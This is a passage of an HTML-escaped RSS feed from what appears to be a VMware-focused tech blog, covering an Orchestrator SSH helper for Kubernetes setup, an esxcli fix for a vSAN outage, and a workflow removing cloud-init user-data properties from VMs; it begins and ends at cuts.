&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;output&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mssh&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;host&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;cmds&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;SSHSession&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;host&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;root&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;path&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/var/lib/vco/app-server/conf/vco_key&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;connectWithPasswordOrIdentity&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;path&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;cmds&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;executeCommand&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;cmds&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;], &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;subscription&#34;&gt;subscription&lt;/h1&gt;
&lt;p&gt;Last thing to do is to attach the new workflow to the previously created blueprint. This way, the newly deployed VMs will be configured as a kubernetes cluster as soon as the deployment is complete. To do so, navigate to &lt;code&gt;Assembler&lt;/code&gt; -&amp;gt; &lt;code&gt;Extensibility&lt;/code&gt; -&amp;gt; &lt;code&gt;Subscriptions&lt;/code&gt; and create a new subscription like so:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;name: k8s cluster config
event topic: Deployment completed
filter event in topic: event.data.blueprintId ==&amp;#39;replace-me-with-uuid-of-your-blueprint&amp;#39;
action/workflow: configure k8s cluster
&lt;/code&gt;&lt;/pre&gt;</content>
    </item>
    
    <item>
      <title>enable vsan service with no vcenter</title>
      <link>/posts/230515-enable-vsan-no-vc/</link>
      <pubDate>Mon, 15 May 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230515-enable-vsan-no-vc/</guid>
      <description>scenario I was recently responsible for setting up a nested VCF deployment. My task was to do some day-2 configuration on an already deployed VCF which was powered off and saved as a vApp. Little did I know that after powering on the vApp, I will have to deal with a total VSAN outage. After powering on, none of the hosts could see each other and thus, no VSAN cluster could be formed.</description>
      <content>&lt;h1 id=&#34;scenario&#34;&gt;scenario&lt;/h1&gt;
&lt;p&gt;I was recently responsible for setting up a nested VCF deployment. My task was to do some day-2 configuration on an already deployed VCF which was powered off and saved as a vApp. Little did I know that after powering on the vApp, I will have to deal with a total VSAN outage. After powering on, none of the hosts could see each other and thus, no VSAN cluster could be formed. On top of that, the deployment had no other storage available so all the VMs (including vCenter and SDDC manager) were inaccessible.&lt;/p&gt;
&lt;p&gt;After a bit of troubleshooting, I confirmed the issue wasn&amp;rsquo;t with unicast domain or general connectivity between the hosts. I could ping between vmk adapters no problem and the UUIDs for all the hosts were showing up fine in each unicast table. It turned out the issue was actually with the services enabled on the vmks on each host - no VSAN service enabled on any of the adapters. Unfortunately, as the adapters were connected to a vDS, I could not easily fix that (as vDS management requires an online vCenter)&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;the-fix&#34;&gt;the fix&lt;/h1&gt;
&lt;p&gt;I will spare you the details of how I went through hundreds of esxcli and similar commands before discovering what has to be done. The answer turned out to be pretty simple really and involves running just a single command on each affected host:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;esxcli network ip interface tag add -i vmk2 -t VSAN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can probably tell, this command adds a VSAN &amp;ldquo;tag&amp;rdquo; to the target vmk adapter. That really is all. Once I ran this on all hosts, the VSAN cluster recovered and I could power on all the VMs.&lt;/p&gt;
&lt;p&gt;What&amp;rsquo;s worth noting is that this command can also be used to assign any other tag (in other words, enable any other service on the vmk). It&amp;rsquo;s pretty useful if you ever end up in a similar situation.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>aria workflow to delete cloud(base)-init deployment data</title>
      <link>/posts/230425-vro-cloudinit-data-removal/</link>
      <pubDate>Tue, 25 Apr 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230425-vro-cloudinit-data-removal/</guid>
      <description>intro When using Aria Automation (formerly known as vRealize Automation) to create virtual machines, you might choose to include a cloud-init (linux) or cloudbase-init (windows) script in the blueprint to setup the guest operating system(s) following a successful deployment. These scripts get triggered once the VM is first booted up and can run any system command in the default CLI language (bash, powershell, zsh etc). Sadly, this can cause some very unexpected issues&amp;hellip;</description>
      <content>&lt;h1 id=&#34;intro&#34;&gt;intro&lt;/h1&gt;
&lt;p&gt;When using Aria Automation (formerly known as vRealize Automation) to create virtual machines, you might choose to include a cloud-init (linux) or cloudbase-init (windows) script in the blueprint to setup the guest operating system(s) following a successful deployment. These scripts get triggered once the VM is first booted up and can run any system command in the default CLI language (bash, powershell, zsh etc). Sadly, this can cause some very unexpected issues&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;1-problem&#34;&gt;1: problem&lt;/h1&gt;
&lt;p&gt;When working on a customer site recently, I was faced with two challenges related to the use of cloud-init and cloudbase-init in the blueprint:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;When using an event subscription in Aria Automation to detect when a deployment is complete and trigger an Orchestrator workflow, the runtime of cloud-init and cloudbase-init is not accounted for. This means that post-deployment automation might fail to run if it relies on guest customization done by these scripts. For example, Orchestrator might fail to add the newly deployed system to Active Directory if cloudinit haven&amp;rsquo;t yet configured an IP and hostname on the guest OS.&lt;/li&gt;
&lt;li&gt;Both cloud-init and cloudbase-init rely on custom properties attached to the VMs on deployment. These custom properties (&lt;code&gt;user-data&lt;/code&gt;) - while looking like harmless hashes at first glance - actually contain the entirety of the cloud-init/cloudbase-init encrypted with base64. You can probably imagine how that would be unsafe if, for example, the scripts contained some passwords or private IPs/ports. Anyone with vCenter access could potentially copy the &lt;code&gt;user-data&lt;/code&gt; string and paste it into any base64 decoder to easily get access to the source cloud-init/cloudbase-init script.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Below is an example of how that would look like in vCenter (original &lt;code&gt;user-data&lt;/code&gt; was covered up for privacy reasons):
&lt;img src=&#34;/posts/230425-vro-cloudinit-data-removal/userdata.png&#34; alt=&#34;user-data&#34;&gt;&lt;/p&gt;
&lt;h1 id=&#34;2-solution&#34;&gt;2: solution&lt;/h1&gt;
&lt;p&gt;Thankfully, both of these issues could be tackled simultaneously by a single scripting object in the post-deployment Orchestrator workflow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;To address challenge #1 and detect when cloud-init/cloudbase-init run is complete, we are going to make them shut down the VM/guest operating system as the very last step. Then, by using a simple while loop, we can make the workflow detect the VM&amp;rsquo;s power state and make it wait before proceeding.&lt;/li&gt;
&lt;li&gt;Luckily, we also need the VMs to be off to remove the custom property and resolve issue #2. By using the vCenter integration, we can modify the VM object&amp;rsquo;s vApp spec to remove the custom properties.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id=&#34;3-code&#34;&gt;3: code&lt;/h1&gt;
&lt;p&gt;At first, I developed the code below and inserted that as a JavaScript scripting object into the post-deployment workflow:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vmName&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;inputProperties&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;resourneName&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;] 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// inputProperties are passed on to Orchestrator from the even subscription in Aria Automation
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vmName&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;] &lt;span style=&#34;color:#75715e&#34;&gt;// match VM name with discovered VMs in inventory and retrive VM object
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;runtime&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerState&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// below code will stop the execution until the VM&amp;#39;s power state changes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;poweredOn&amp;#39;&lt;/span&gt;){     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;System&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;System&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;sleep&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;2000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;runtime&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerState&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;allProps&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;config&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;vAppConfig&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcVirtualMachineConfigSpec&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;vAppConfig&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcVmConfigSpec&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// retrive current vApp spec from VM object and create a new blank spec to apply our changes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;allProps&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;dellIndex&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;allProps&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; Array()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcVAppPropertySpec&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;operation&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcArrayUpdateOperation&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;remove&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;removeKey_IntValue&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;dellIndex&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#75715e&#34;&gt;// the above flags properties for removal
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// lastly, run a reconfig task and power on the VM
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;VAppConfig&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;property&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vmReconfigTask&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;reconfigVM_Task&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vmSpec&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerOnVM_Task&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unfortunately, while the VM state bit was working ok, we discovered an issue when the target VM had more than just one custom property. For example, on some VMs we not only had the &lt;code&gt;user-data&lt;/code&gt; property originating from cloud-init/cloudbase-init but also an &lt;code&gt;administrator&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; properties added to the VM by some other automation tooling.&lt;/p&gt;
&lt;p&gt;When a target VM had more than a single custom property, the code above was only able to remove one of them and then fail to execute on 2nd iteration of the &lt;code&gt;for&lt;/code&gt; loop. After some troubleshooting and debugging, I created an improved version of the script which correctly iterates over all custom properties and removes them one by one:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vmName&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;inputProperties&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;resourneName&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;] 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;name&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vmName&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;] 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm_status&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;runtime&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerState&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt;
